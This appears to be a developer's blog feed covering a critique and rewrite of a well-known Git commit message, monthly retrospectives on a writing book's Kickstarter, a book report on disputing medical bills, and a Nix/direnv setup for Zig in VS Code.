Six years ago, David Thompson wrote a popular blog post called “My favourite Git commit” celebrating a whimsically detailed commit message his co-worker wrote. I enjoyed the post at the time and have sent it to several teammates as a model for good commit messages.

I recently revisited Thompson’s article as I was creating my own guide to writing useful commit messages. When pressed to explain what made Thompson’s post such an effective example, I was surprised to find that I couldn’t. It was fun to read as an outside observer, but I couldn’t justify it as a model of good software engineering.

Thompson’s favorite commit

Here’s the commit message that so enamored Thompson and others at the time, including me:

Convert template to US-ASCII to fix error

I introduced some tests in a feature branch to match the contents of /etc/nginx/router_routes.conf. They worked fine when run with bundle exec rake spec or bundle exec rspec modules/router/spec. But when run as bundle exec rake each should block failed with:
ArgumentError:
 invalid byte sequence in US-ASCII
I eventually found that removing the .with_content(//) matchers made the errors go away. That there weren’t any weird characters in the spec file. And that it could be reproduced by requiring Puppet in the same interpreter with:
rake -E 'require "puppet"' spec
That particular template appears to be the only file in our codebase with an identified encoding of utf-8. All others are us-ascii:
dcarley-MBA:puppet dcarley$ find modules -type f -exec file --mime {} \+ | grep utf
modules/router/templates/routes.conf.erb: text/plain; charset=utf-8
Attempting to convert that file back to US-ASCII identified the offending character as something that looked like a whitespace:
dcarley-MBA:puppet dcarley$ iconv -f UTF8 -t US-ASCII modules/router/templates/routes.conf.erb 2>&1 | tail -n5
 proxy_intercept_errors off;

 # Set proxy timeout to 50 seconds as a quick fix for problems
 #
iconv: modules/router/templates/routes.conf.erb:458:3: cannot convert
After replacing it (by hand) the file identifies as us-ascii again:
dcarley-MBA:puppet dcarley$ file --mime modules/router/templates/routes.conf.erb
modules/router/templates/routes.conf.erb: text/plain; charset=us-ascii
Now the tests work! One hour of my life I won’t get back..

The “punchline” is that, after this lengthy preamble, Thompson shows the actual diff:

Yes, the commit message contains six paragraphs and five code snippets, all to describe a one-character whitespace change.

Favorite != best

It’s easy to see what’s appealing about this commit.

Most developers would document this change as simply “Fix whitespace character,” so it’s a pleasant surprise that someone went to such lengths to explain their process for investigating and fixing the bug.

It is a good commit message for all the reasons Thompson offers: it creates a searchable artifact and shares helpful insights about the developer’s tools and process.

This is not an attack on Thompson or even the original author of the commit. Thompson never claimed it was the “best” commit message, just his favorite.

That said, I now see flaws that prevent me from using it as a model commit message.

It buries the most important information at the end

When Thompson originally published his blog post, one of the most common critiques was that the commit message was too verbose. I found that criticism misguided.

Thorough details in a commit message are useful as long as they’re relevant, and Thompson’s were. They’d help less experienced teammates learn the author’s debugging process and toolset. They’d also give more experienced teammates an opportunity to see if the developer overlooked something or is unaware of a relevant tool.

The reason people perceived Thompson’s example as overly verbose is that it buries the most important information deep into the commit message.

Re-read the first paragraph:

I introduced some tests in a feature branch to match the contents of /etc/nginx/router_routes.conf. They worked fine when run with bundle exec rake spec or bundle exec rspec modules/router/spec. But when run as bundle exec rake each should block failed with:
ArgumentError:
 invalid byte sequence in US-ASCII

Three sentences and a code snippet into this commit message, and the reader still doesn’t have any information about what the change actually does.

Commit messages should present the most important information first and gradually transition to finer details. Journalists call this the inverted pyramid style of writing.

Journalists structure news reports in an inverted pyramid, where the information relevant to the most people is at the top.

If I’m scrolling through a commit history, I want to find out quickly if each commit is relevant. The commit message should provide a high-level summary of the change right from the start.

It never quite explains the problem

By the end of Thompson’s example commit message, do you even understand the change?

Here’s the closest it comes to explaining the problem:

That particular template appears to be the only file in our codebase with an identified encoding of utf-8. All others are us-ascii:
dcarley-MBA:puppet dcarley$ find modules -type f -exec file --mime {} \+ | grep utf
modules/router/templates/routes.conf.erb: text/plain; charset=utf-8

The message says that routes.conf.erb has UTF-8 encoding, but it never explains why. Fortunately, the project is open-source, so I can investigate myself.

The issue is on line 463 of routes.conf.erb:

$ cat modules/router/templates/routes.conf.erb | head -n 463 | tail -n 1
 # where civica QueryPayments calls are taking too long.

You can’t see the issue with a regular text editor or web browser, but if you dump the raw file bytes with a tool like xxd, you see the issue:

$ cat modules/router/templates/routes.conf.erb \
 | head -n 463 | tail -n 1 \
 | xxd | head -n 1
00000000: 2020 23c2 a077 6865 7265 2063 6976 6963 #..where civic
 ^^ ^^

If you haven’t memorized the US-ASCII and UTF-8 tables, here are the first few characters of that line:

Byte representation	Text representation
`0x20`	`' '` (space)
`0x20`	`' '` (space)
`0x23`	`'#'`
`0xc2` `0xa0`	`' '` (UTF-8 non-breaking space)

So, the file had the byte sequence 0xC2 0xA0, which means it can’t be a US-ASCII file, as 0xC2 and 0xA0 both fall outside of the US-ASCII byte range.

The 0xC2 0xA0 sequence means any application that consumes routes.conf.erb must interpret it with UTF-8 encoding, a newer and more internationally-friendly scheme for encoding text.

Thompson’s codebase used Ruby 1.9.3, which supported UTF-8 encoding, but it defaulted to US-ASCII if the file didn’t explicitly declare otherwise.

Digging through the source history, I found that commit 5a8607 originally introduced the UTF-8 character. That commit message doesn’t mention any reason for introducing the UTF-8 character, so it was likely an accident.

A Hacker News commenter floated a plausible theory about why that stray UTF-8 character appeared in routes.conf.erb:

the likely origin of the invalid character is somebody using an Apple Ireland/UK keyboard layout where # is Option-3 (AltGr-3), and non-breaking space is Option-Space (AltGr-Space).

-messe on Hacker News

It references code without linking to it

Thompson’s example commit opens with a reference to some external code:

I introduced some tests in a feature branch to match the contents of /etc/nginx/router_routes.conf. They worked fine when run with bundle exec rake spec or bundle exec rspec modules/router/spec.

But the commit message never names the branch or specifies a commit hash, so the reader has no way to reproduce the developer’s findings.

Later, the commit message says:

I eventually found that removing the .with_content(//) matchers made the errors go away. I didn’t see any weird characters in the spec file.

Without a commit hash or link, the reader doesn’t know what matchers or which spec file the developer means.

If a commit message references external code, it should link to it explicitly so that code reviewers and future maintainers can see the exact context for the change.

My rewrite

Here’s my proposed revision of Thompson’s favorite git commit:

Convert routes.conf.erb template to US-ASCII

routes.conf.erb has a stray UTF-8 character that seems to have been introduced by accident in 5a8607.

rake expect US-ASCII format, so the single UTF-8 character in routes.conf.erb causes test failures in rake.

This change replaces the UTF-8 character with an equivalent US-ASCII character to prevent test failures in rake.

The stray UTF-8 character

The issue is on line 463 of modules/router/templates/routes.conf.erb:
$ cat modules/router/templates/routes.conf.erb \
 | head -n 463 | tail -n 1 \
 | xxd | head -n 1
00000000: 2020 23c2 a077 6865 7265 2063 6976 6963 #..where civic
 ^^ ^^
0xC2 0xA0 is not a valid US-ASCII byte sequence, but it’s the UTF-8 non-breaking space character. Any tool that reads the file expecting US-ASCII encoding will fail.

How I discovered this

I introduced some tests in a feature branch to match the contents of /etc/nginx/router_routes.conf (see abcd123). They worked fine when I ran them with bundle exec rake spec or bundle exec rspec modules/router/spec, but when I ran the tests as bundle exec rake, each should block failed with:
ArgumentError:
 invalid byte sequence in US-ASCII
I eventually found that removing the .with_content(//) matchers made the errors go away. I didn’t see any weird characters in the spec file. I could reproduce the error by requiring Puppet in the same interpreter with:
rake -E 'require "puppet"' spec
That particular template appears to be the only file in our codebase that file identifies as utf-8. All others are us-ascii:
$ find modules -type f -exec file --mime {} \+ | grep utf
modules/router/templates/routes.conf.erb: text/plain; charset=utf-8
Attempting to convert that file back to US-ASCII identified the offending character as something that looked like a whitespace:
$ iconv -f UTF8 -t US-ASCII modules/router/templates/routes.conf.erb 2>&1 \
 | tail -n5

 proxy_intercept_errors off;

 # Set proxy timeout to 50 seconds as a quick fix for problems
 #
iconv: modules/router/templates/routes.conf.erb:458:3: cannot convert
After I replaced the UTF-8 character (by hand), file identifies routes.conf.erb as us-ascii again:
$ file --mime modules/router/templates/routes.conf.erb
modules/router/templates/routes.conf.erb: text/plain; charset=us-ascii
Now the tests work! One hour of my life I won’t get back..

Here were my changes:

I added a high-level summary early in the message.
I added a more explicit explanation of the UTF-8 character and where it came from.
I moved most of the author’s original content to a “How I found this” section to make it clear that it’s extra-credit reading.
I made light grammatical fixes.
I removed passive voice to reduce ambiguity.
I simplified the terminal prompt from dcarley-MBA:puppet dcarley $ to just $, as the former is mostly noise.

Notably, I didn’t remove details, as the problem wasn’t verbosity but how the developer organized and presented information.

The value of defining your own principles

Revisiting Thompson’s post reminded me how much value there is in defining software engineering principles for yourself.

I accepted the commit as a good example because I agreed with Thompson about its strengths. It wasn’t until I sat down and defined what I think are the most important qualities in a commit message that I saw the shortcomings of Thompson’s example.

I’ve explained my perspective about several different software engineering practices over the years, and every time I do it, it makes me a better developer. It forces me to think critically about ideas I take for granted and helps me remember what my ideal looks like even if I’m not always able to achieve it.

Refactoring English: Month 3

Wed, 12 Mar 2025 00:00:00 +0000

Highlights

I launched my first Kickstarter project and found Kickstarter surprisingly painless.
I’m kind of on track to reach my Kickstarter goal, but I’ll need to get creative in raising the last 2/3rds.
I’m soliciting suggestions for fun services to run on my 4x ARM CPU / 24 GB cloud server.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Complete the blogging chapter of Refactoring English

Result: I decided to focus on the commit message chapter instead and finished it on time.
Grade: A

Midway through writing the blogging chapter, I realized I could write about commit messages, and that would be a good chapter to share on dev-oriented social networks like Hacker News, /r/programming, and Lobsters.

Unfortunately, the article was a huge miss on Hacker News and didn’t get much traction on /r/programming or Lobsters, which was disappointing but I knew was a possibility.

- Begin selling pre-orders for Refactoring English

Result: Started selling pre-orders on Kickstarter
Grade: A

Kickstarter: I’m pleasantly surprised

I decided to do the pre-order for Refactoring English on Kickstarter. I’d never used Kickstarter before, and I was bracing myself for it to be a miserable experience.

My typical experience with “creator platforms” is that they try to make their money by squeezing me for upsells rather than helping my project.

I’m pleased to report that launching my first project on Kickstarter was surprisingly painless. They never asked me to pay for anything at all. They do a good job of aligning incentives so that they make their money helping projects raise money rather than milking their project creators via upsells.

All in all, it took me six to eight hours of work on Kickstarter to fill out all the paperwork, verify my banking information, and create the public-facing text, video, and images.

I like the Kickstarter model for this project. If I were to do regular pre-orders, I’d be in an awkward position if I found myself three months in with not enough customers. I’d have to refund everyone even though I did three months of work. I appreciate that Kickstarter explicitly tells backers that they’re paying for the ride. The creator should make their best effort to deliver, but the backers accept the possibility that things might not work out.

I also like that I can set a goal and make the project all or nothing. I set the goal to $5k because I felt like it’s ambitious but doable, and it’s high enough to give me hope that I could still make another $10-20k after I publish the book. If I fall short of the goal and get nothing, I’ll be disappointed but take solace in the fact that I’m getting a concrete “no” on this idea.

Except for Kickstarter spammers…

The one downside of Kickstarter is spam. A ton of spammers must watch Kickstarter because I get about three new emails per day offering some scammy way to help my campaign succeed. They start the conversation by posing (poorly) as an interested customer, and then they steer the conversation towards their friend I should pay to help me.

The spammers start with an innocuous message that feigns interest in your product.

…and then they shift the conversation to their “friend” who offers paid Kickstarter publicity services.

Fundraising: How it’s going so far

As of today, there have been $1,585 in pledges to my Kickstarter project, so I’m at 31% of my goal.

At 24% through the fundraising window for my Kickstarter project, I’ve reached 31% of my revenue goal.

I launched the project on Friday, and it ends at the end of the month, so I’m on day 6 of 25 of the fundraising period (24% complete).

It sounds good to be at 31% of my goal in only 24% of the timeline, but the problem is that I’ve played my best cards already. I announced the Kickstarter to the book’s mailing list, on social media, and on the little self-ads at the bottom of this blog.

So, what else can I do?

I can think of two remaining cards to play.

The first is to get on the front page of Hacker News. That’s usually difficult to do, but I’m supposed to be the expert. I feel confident that I can do it at least once, hopefully two or three times by the end of the month. I have a few post ideas that are basically like “bunts.” They won’t be homerun posts that reach the #1 spot, but I can probably write them in 5ish hours and land somewhere in the #10-20 range of Hacker News.

My second idea is to reach out to companies that invest heavily in public writing to see if they’d be interested in sponsoring the project. I’ve never seen a book with corporate sponsors, so maybe this is a bad idea, but it seems like it could work.

Side project: What should I run on my hobby cloud server?

I recently got a free 4x ARM CPU / 24 GB RAM Oracle Cloud server. The problem is that this rather competent server is about 99% idle:

My poor server is so bored.

So far, I’ve installed:

Woodpecker CI, which is helpful for projects I host on Codeberg, as no commercial CIs support Codeberg yet
Snowflake proxy to help people defeat censorship

I’m looking for suggestions for fun things I could run on the server. My criteria are:

I’d like it to be a service that’s fun to operate when I have time but not an obligation that demands my time.
- I don’t want to spend time moderating something like a forum or chat room.
It could be a volunteer computing thing that supports a cause I like.
- I wanted to run ArchiveTeam Warrior to archive websites to the Internet Archive, but they don’t support ARM.
- For a volunteer computing opportunity, I’d like it to be fun for the operator, the way it was fun to just watch SETI@home run if you donated compute time to the project.
I’d like it to be open-source.
Oracle can blow away my server, and it shouldn’t impact anyone.
- i.e., I don’t want anyone to lose data that they’re storing on my server.
I don’t want to mine cryptocurrency.

endlessh-go is a good example of what I’m looking for, and I’m planning to add that.

If you have suggestions for fun projects that my server should run, let me know in the comments or shoot me an email.

Interesting links

“Writing commit messages” by Simon Tatham
- Before writing my article, I read a lot of blog posts about commit message practices, and I thought this was the best one.
  - Actually, it’s more accurate to say that all the others were bad, and Tatham’s was the only one that was good.
  - Every other article focuses on style considerations that don’t matter (e.g., “the title must be imperative voice”) or makes edicts without explaining the reasoning.
- Based on the URL and site’s design, I thought the author was a university student and was surprised he had so much wisdom about commit messages. I dug deeper and realized the author is the creator of the PuTTY SSH client and just likes hosting everything on his friend’s server.
“Programming without Pointers” by Andrew Kelley
- Andrew Kelley, founder of Zig, says he escaped his programming skill plateau by creating a style he calls “programming without pointers.”
- Kelley’s style is to represent his app’s state using a single struct that contains various data types the app needs, but none of the types can contain pointers. The top-level struct can contain arrays or hashmaps, but the objects they store can’t have pointers.
  - His groovebasin project is an example of this.
- He gives the example of storing strings. You can’t store an array of strings because that would be a pointer to a pointer. Instead, he creates a custom structure that aggregates all strings into a single array, and then he maintains a list of indexes into that array.
- Advantage of this technique:
  - It’s trivial to serialize and deserialize state. Serializing is just dumping the struct’s bytes into a file or network socket. Deserializing is just reading an entire file and mapping it back into the original struct.
  - It’s easy to share state across environments (e.g., a Zig backend and a WASM frontend).
  - Memory management also becomes simpler because you can free memory for each field of the top-level struct. You never have to iterate through lists or walk a tree structure to free memory for child objects.
- I find the technique surprising because it feels like the indexes are essentially pointers without compiler support. If I heard this proposal from a random person, I’d dismiss it, but because I think Andrew Kelley is smart, I want to try this out.
“Reviving an Old Kindle Paperwhite 7th Gen” by Hemant Kumar
- I desperately want to buy an old e-reader on eBay for $30 and make my own dashboard, but I don’t have any ideas for what to display on it.
“If You Ever Stacked Cups In Gym Class, Blame My Dad” by Kit Fox
- I woke up at 2 AM one night and couldn’t fall back to sleep, and I spent about two hours reading this article and watching cup stacking videos.

Wrap up

What got done?

Launched pre-orders for Refactoring English on Kickstarter
Published “How to Write Useful Commit Messages”
Published My Zig Configuration for VS Code and created a Zig dev flake
Published my notes for Never Pay The First Bill

Lessons learned

Fundraising on Kickstarter is surprisingly painless.

Goals for next month

Reach my $5k Kickstarter goal for Refactoring English.
Publish the blogging chapter of Refactoring English.
Reach the front page of Hacker News twice by the end of March.

Requests for help

If you have suggestions for my Kickstarter project, and you’re not a spambot, shoot me an email.

Never Pay the First Bill by Marshall Allen

Sat, 01 Mar 2025 00:00:00 +0000

I enjoy finding ways to exercise my rights as a consumer and push back against corporate abuse, so this was right up my alley.

The book was eye-opening and made me infuriated with how corrupt the medical system is in the US and how much it extracts wealth by fleecing the middle class.

My wife and I recently had a child, so my family’s medical bills are atypically high. Reading the book saved me thousands of dollars by alerting me of how common incorrect medical bills are and what to look for to avoid providers from overcharging you.

What I liked

It got me fired up about exercising my rights as a patient.
It included several practical techniques for challenging unfair medical bills.
The biggest bang-for-buck technique I’ve learned is simply comparing my medical bill to the explanation of benefits from my insurer.
- It saved me over $3k on four separate incorrect bills.

What I disliked

The author doesn’t have a good sense of which techniques are effective.
- He sometimes says, “I’ve heard this works,” but I’d like to see a bit more information about what’s worth trying vs. what’s unlikely to get results.
In a lot of the stories the author shares about his personal experience, he reveals to the provider that he’s an investigative reporter for ProPublica, so that gets him better outcomes with these techniques than the average person could achieve.
It’s fairly “fluffy.” There’s about 40 pages of practical advice stretched out into a 300-page book.

Key takeaways

Compare your medical bill with your insurer’s EOB

Compare the bill you receive from your provider with the explanation of benefits (EOB) you receive from your insurer.
- If the provider’s bill lists a higher amount of patient responsibility than your insurer’s EOB, show the EOB to the provider and tell them to send you a corrected bill.

[Editor’s note: This has been the most effective technique for me and has saved me a total of $3k+ on four separate incorrect bills in the last six months.]

Verify the CPT codes on your bill

Each charge on your medical bill requires a five-digit code called the Current Procedural Terminology (CPT) code.
Infuriatingly, regular Americans don’t have access to the definitions of CPT codes.
- The American Medical Association holds the copyright to CPT codes, and they make most of their money licensing the codes.
If your provider didn’t send an itemized bill with a CPT code for each charge, ask them for a version with CPT codes.
When you have a bill with CPT codes, search online for each CPT code on your bill.
- You won’t be able to access the official definitions unless you buy a $15/mo subscription from the AAPC, but you can find third-party sites that give decent explanations of the criteria for each code.
- Pay attention to objective criteria in the CPT code such as how long the provider must spend with the patient and whether they conducted a thorough history.
If the CPT code does not match the service the provider gave, ask your provider to see the medical records for the visit that justify the code.
- If the medical records don’t support the code, ask your insurer to work with the provider on re-coding it.
- If the provider falsifies their medical records to upcode, there’s not much you can do to fight them.

Negotiate the price based on local market pricing

As of January 1, 2021, hospitals were supposed to publish pricing in both machine-readable and human-readable formats.
You can use hospital pricing to compare the price on your bill to the price other hospitals in your area charge for the same CPT code.

[Editor’s note: This hasn’t worked for me because all the hospitals in my area ignore their requirement to publish pricing. When I complain to their billing department, they say they don’t know what I’m talking about.]

Shop around for medical services

Hospitals tend to charge the most for medical care.
If you know the medical service you need and don’t need care urgently, you can get better a deal by asking for pricing at different clinics in your area.

Ask to pay cash

Ask providers for the cash price without insurance.
- For some services, your out of pocket costs are lower by paying cash without going through your insurance
- The subtlety of paying in cash is that spending won’t count against your insurance deductible or out of pocket maximum, so it could come back to bite you depending on if you expect to hit your deductible or out of pocket max for the year.

Insurers want higher medical bills

As a patient, you expect that your insurer’s incentives are aligned with yours to prevent medical providers from overbilling you.
In reality, there are several factors that incentivize insurance companies to drive medical prices higher.
- The Affordable Care Act set limits on how much insurers can profit from customer premiums, so insurers can’t make more than 20% profit.
  - This rule has the unintended consequence of benefitting insurance companies when medical costs go up nationwide.
    - e.g., if an insurer can only make 20% profit on $500M/yr in medical spending, then they make more profit in absolute terms if they allow providers to drive up medical spending to $700M/yr.
- Insurers and providers often have intermingled businesses where the insurance company that’s supposed to be controlling costs is actually the same company providing medical services.
- In cases where the patient is responsible for the majority of the cost, the insurer has no reason to invest resources into fighting an inaccurate bill, as the patient is the one who has to foot the bill.

Medical bills have an extremely high error rate

Most people don’t know how to verify that the charges on their medical bill match the services they received or that the prices match market rates, so medical providers often bill inaccurately.
- Insurers are supposed to keep providers from overbilling, but they don’t have strong incentives to catch errors.
Some providers routinely “upcode” for services.
- For example, if they spent 10 minutes with a patient, they’ll bill using a code that says they spent 30 minutes because it means they can charge more.
Crystal Polson, an RN and professional bill reviewer Allen interviewed for the book said that when clients give her bills to examine, she finds billing errors in 80% of them.
Providers have nothing to lose by overbilling because so many patients pay without questioning the bill.
- The worst that can happen from the provider’s perspective is that a patient complains and only has to pay the correct amount.
- Maddeningly, there’s no recourse for you as a patient when providers routinely bill you incorrectly and you have to waste time correcting the errors.

My Zig Configuration for VS Code

Thu, 13 Feb 2025 00:00:00 +0000

I finally found a solution that makes VS Code work consistently with Zig, so I’m sharing my setup in the hope that it saves someone else a headache.

Zig extension for VS Code working correctly

Before I landed on a working solution, I kept running into issues with Zig version mismatches or VS Code completely failing to recognize Zig semantics and failing over to naive autocomplete.

Managing multiple Zig versions across projects

Zig has not yet reached a stable 1.0 release. If you’re working on software written in Zig, you have to use the version of the Zig compiler that matches that project.

If you work on multiple projects, you need a way to juggle different versions of Zig on the same system.

The most popular method for managing Zig versions seems to be the Zig Version Manager, which I haven’t tried, so I’m not sure how it plays with VS Code.

I personally manage Zig versions per-project using Nix development shells, so that’s what I’m sharing below.

The problem: VS Code can’t find ZLS

When I open a Zig project, VS Code helpfully prompts me to enable the Zig Language Server, but when I say yes, I get this error message:

ZLS install fails

The problem is that I start VS Code before I launch my Nix dev environment, so the Zig VS Code plugin doesn’t know where to find my local Zig compiler or the Zig Language Server binary, zls.

The solution: Use the direnv VS Code extension

Update (2025-02-14): There’s a simpler solution that doesn’t rely on Nix.

I initially came up with a wacky solution where my Nix flake automatically rewrote my VS Code settings every time I entered the dev shell. That way, VS Code would always have the latest path to the Zig and ZLS binaries.

Then, I read a fasterthanlime post and found out there’s a simple solution.

There’s a direnv VS Code extension that effortlessly syncs Zig paths with VS code. It also means that this solution works with VS Code using Remote SSH development.

My complete working solution

I’m including an explanation of my solution, but if you want to just use it without the tour, I created a template that’s easy to copy below.

flake.nix

My Nix flake is doing the heavy lifting here:

{
 description = "Zig development environment";

 inputs = {
 nixpkgs.url = "github:NixOS/nixpkgs/nixos-24.11";
 flake-utils.url = "github:numtide/flake-utils";
 zig-overlay.url = "github:mitchellh/zig-overlay";
 # Keep in sync with zigVersion below.
 zls-overlay.url = "github:zigtools/zls/0.13.0";
 };

 outputs = {
 self,
 nixpkgs,
 flake-utils,
 ...
 } @ inputs:
 flake-utils.lib.eachSystem (builtins.attrNames inputs.zig-overlay.packages) (system: let
 pkgs = import nixpkgs {
 inherit system;
 overlays = [
 (final: prev: {
 zigpkgs = inputs.zig-overlay.packages.${prev.system};
 })
 ];
 };
 zigVersion = "0.13.0";
 zig = pkgs.zigpkgs.${zigVersion};
 zls = inputs.zls-overlay.packages.${system}.zls.overrideAttrs (old: {
 nativeBuildInputs = [zig];
 });
 in {
 devShells.default = pkgs.mkShell {
 packages = with pkgs; [
 zig
 zls
 ];

 shellHook = ''
 echo 'zls' "$(zls --version)"
 echo 'zig' "$(zig version)"
 '';
 };
 });
}

download flake.nix

The Nix flake creates a dev shell that includes the Zig compiler and the Zig Language Server (ZLS).

I set it to Zig 0.13.0, but you can change it to any tagged relase. To use the pre-release development version of zig, change both instances of 0.13.0 to master.

I tried several ways to eliminate the repetition of 0.13.0 so that there could be a single definition, but my Nix language skills were too weak to figure out a way to do it. If anyone has a solution, please let me know.

.envrc

My solution relies on direnv to start the Nix dev shell whenever I’m in the project directory. The definition is simple:

use_flake

.vscode/extensions.json

To integrate VS Code with Zig, I need two VS Code extensions:

{
 "recommendations": ["mkhl.direnv", "ziglang.vscode-zig"]
}

download extensions.json

The first is the official Zig VS Code extension.

The second, less-obvious one is the direnv VS Code extension, which lets VS Code see paths within my Nix dev shell.

.vscode/settings.json

Finally, I need just one setting to tell VS Code to use the Zig Language Server:

{
 "zig.zls.enabled": "on"
}

download settings.json

Copying my template

I created a Nix flake template to make it easy to replicate my setup.

Requirements

Nix (I’m using 2.24.12)
- with flakes enabled
direnv (I’m using 2.35.0)
VS Code (I’m using 1.96.4)

A Zig VS Code Nix flake template

I created a Nix flake template that captures my Zig + VS Code solution. You can use it by running the following command:

nix flake init \
 --template git+https://codeberg.org/mtlynch/zig-vscode-flake.git

After calling nix flake init, run direnv allow, which should show zig and zls available:

$ direnv allow
...
direnv: nix-direnv: Renewed cache
Alejandra 3.0.0
zls 0.13.0
zig 0.13.0

Finally, in VS Code, go to “Extensions: Show Recommended Extensions” and install the recommended extensions.

At this point, you can run zig init to create a new project, and you should find that the Zig VS Code extension works properly with Zig.

If everything works, you should see language overlays in src/main.zig, and you should be able to jump to Zig library definitions.

Changing Zig versions

My flake is set to Zig 0.13.0, the latest release as of this writing.

If you want to use a different tagged release, replace 0.13.0 with a different version:

EXISTING_ZIG_VERSION='0.13.0' # Set to whatever the version in the flake.nix is.
NEW_ZIG_VERSION='0.12.0' # Set to your desired Zig version.

To use the bleeding edge, pre-release version of Zig, set the version to master:

NEW_ZIG_VERSION='master' # Set if you want bleeding edge Zig.

Once you’ve updated the Zig version in the flake.nix file, run these commands to apply the changes:

sed \
 --in-place \
 "s/${EXISTING_ZIG_VERSION}/${NEW_ZIG_VERSION}/g" \
 flake.nix && \
 nix flake update zig zls-overlay && \
 nix develop

You may have to restart (not just reload) VS Code for the changes to take effect.

Update: The simpler, non-Nix solution

One of the Zig VS Code extension developers replied to this post and said that I should be able to manage Zig versions with just the extension itself.

I didn’t realize that the Zig VS Code extension could manage Zig installs, so I tried that. To install Zig through the VS Code extension, go to the VS Code command pallette and select:

Zig Setup: Install Zig

Then, choose the Zig version you want, and it should work. I had to set my settings.json manually and reload VS Code for it to take effect.

I like Nix dev shells, so I’m going to keep using mine, but if you just want a simple setup, you’re probably better off letting the Zig VS Code extension manage your Zig install.

Refactoring English: Month 2

Mon, 10 Feb 2025 00:00:00 +0000

Highlights

I’m having doubts about sitting out the AI revolution.
I should prove to myself that customers are willing to buy my book before investing more time into it.
I’m probably the last person on the planet to discover that RSS is a great way to read blogs.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Publish my 2024 annual review blog post

Result: I published My Seventh Year as a Bootstrapped Founder
Grade: A

I was happy with how this came out. I had a hard time figuring out what to include because the year felt fragmented from different major events that I’d already written about. I felt like the result was a good summary of the year.

It briefly reached the #1 spot on Hacker News, but they suddenly kicked it down to #63, and I’m not sure why.

Finish another chapter of my book

Result: Published “Passive Voice Considered Harmful” and an accompanying interactive exercise.
Grade: A

I got a bit more done on this than I expected, as I didn’t plan to include the quiz. I don’t think the quiz is amazing, but it’s a fun way to combine text content with something more interactive.

Revise my tutorials chapter based on reader feedback

Result: Added a new section, “Use unambiguous example values.”
Grade: A

I made some line-level fixes based on reader suggestions, but the biggest revision was adding a new section. A few people had wished for guidance on using useful dummy data in examples, and I agreed that it belonged in the article.

Is it stupid to write a book during an AI revolution?

It’s clear to me that AI is causing a revolution in software development.

AI models now operate at the level of a competent junior engineer. At the pace they’re improving, AI will outperform even the best humans at most programming tasks within two years.

I expect a lot of the software industry to restructure around AI. The closest parallel in my lifetime is the shift from desktop software to the Internet.

I have no job and no company to run, so I have complete freedom to work on anything I want to take advantage of recent AI developments.

And I’m writing a book that has nothing to do with AI…

I don’t want to just chase the newest, shiny thing, but I also feel like sitting out the AI revolution is like seeing the Internet happen in the late 90s and saying, “I think I want to publish software on a CD that customers order by mail.”

The reasons I chose to focus on the book are still valid, but there’s a bigger opportunity cost than I expected when I was planning this six months ago.

Is there even a market for this book?

The other issue is that writing my book is a long commitment, and I don’t yet have confidence that people want to read it.

The first chapter I released got a positive reception, but that’s one of the fun, broad-appeal chapters. I fear that chapters like “Passive voice considered harmful,” are more of an “eat your vegetables” lesson. People might recognize it as beneficial, but it’s not fun to read. And my usual haunts like Hacker News or reddit wouldn’t showcase a post about the passive voice.

The problem is that most of the chapters in my book are “eat your vegetables” chapters.

I could restructure it so that I talk about a tip like “read your post aloud” as part of the blogging chapter, but it wouldn’t quite make sense because that applies to all kinds of writing, not just blog posts.

But maybe I’m approaching it wrong. I don’t think people browsing the web want to read an article about the passive voice, but if they decided to read a book about effective writing, they’d probably read the passive voice chapter.

I’d assumed that the samples I publish for free online would be word-for-word chapters from the book, but I don’t need to do that. I can adapt the content for the web however I want, so if I talk about reading your writing aloud as part of a sample chapter on blogging, that’s okay. In the actual book, I can structure it so that the reading aloud tip isn’t part of the blogging chapter.

Still, I need to validate that there are customers for this book before I spend another few months on it. So, my plan is to focus on another fun, accessible chapter like, “Write blog posts that developers read,” and then start a Kickstarter for people to pre-order based on the initial three chapters. I’ll need to set some goal for what I think is a reasonable minimum of pre-orders to justify continuing to write.

Late to the game: RSS is great

RSS has been around for 25 years, but I never got into reading articles via RSS.

I tried Google Reader back in 2011, but I didn’t have a critical mass of interesting articles in my feed, so I just stopped checking and forgot about it.

In the past few years, several things have increased my interest in RSS:

The tech people I used to follow on Twitter have all fragmented to different spaces.
I’ve become more aware of social media amplifying attention-grabbing posts over interesting technical posts.
I switched to NixOS as my OS, which makes it easy to self-host a free, open-source RSS reader.
I realized I don’t like subscribing to blogs via email, as it clutters my inbox and makes me feel like I have to read when I’m not in a good reading mode.
As AI slop takes over the web, I want to follow particular people that I like.

So, I installed the fusion RSS reader, and I’ve found it to be one of my favorite ways to read new blog posts. Whenever I find a blog post on social media that I like, I skim their other posts. If they write about things I find interesting, I just add them to my feeds.

I recently started using fusion, an RSS reader, so that I can follow interesting blogs

Side projects

wordword: Find lexical illusions in your blog posts

I recently read a blog post by Matt Might where he explains the idea of “lexical illusions.” It’s when you fail to recognize a duplicate word in text, for example:

Many readers are not aware that the
the brain will automatically ignore
a second instance of the word “the”
when it starts a new line.

I make this mistake when writing my blog, so I wanted a tool that could catch this mistake for me automatically.

I wrote the tool leaning heavily on Cline, an AI assistant. I found it impressive and scary how good Cline was at implementing the tool based on my prompts and test cases.

And the tool works well. I used it to find seven lexical illusions in already-published articles.

# Find lexical illusions (and also some false positives like "Duck Duck Go").
$ wordword ./content/
./content/retrospectives/2019/11/index.md:114: the
./content/retrospectives/2022/05/index.md:175: Duck
./content/retrospectives/2022/05/index.md:175: Duck
./content/retrospectives/2022/05/index.md:175: Duck
./content/retrospectives/2022/05/index.md:175: Duck
./content/retrospectives/2022/05/index.md:177: Duck
./content/notes/nix-git-bash-shell/index.md:78: time
./content/notes/cypress-vs-playwright/index.md:278: makes
./content/posts/simple-vue-pre-rendered/index.md:36: for
./content/posts/bootstrapped-founder-year-6/index.md:132: case
./content/posts/ansible-role-clipbucket/index.md:83: a
./content/posts/bootstrapped-founder-year-1/index.md:177: NOW
./content/posts/bootstrapped-founder-year-1/index.md:177: NOW
./content/book-reports/chaos-monkeys/index.md:8: names
./content/book-reports/go-programming-blueprints/index.md:50: of
212 total files checked
15 total errors found

I’ve added wordword to my blog’s CI build and to my git pre-commit hook.

And because I wrote it in Zig, it’s super fast. It checks 212 Markdown files in my blog in just 28.7 milliseconds:

$ hyperfine 'wordword ./'
Benchmark 1: wordword ./
 Time (mean ± σ): 28.7 ms ± 1.3 ms [User: 11.7 ms, System: 16.5 ms]
 Range (min … max): 26.8 ms … 31.7 ms 90 runs

Other small things

I joined Codeberg as a member

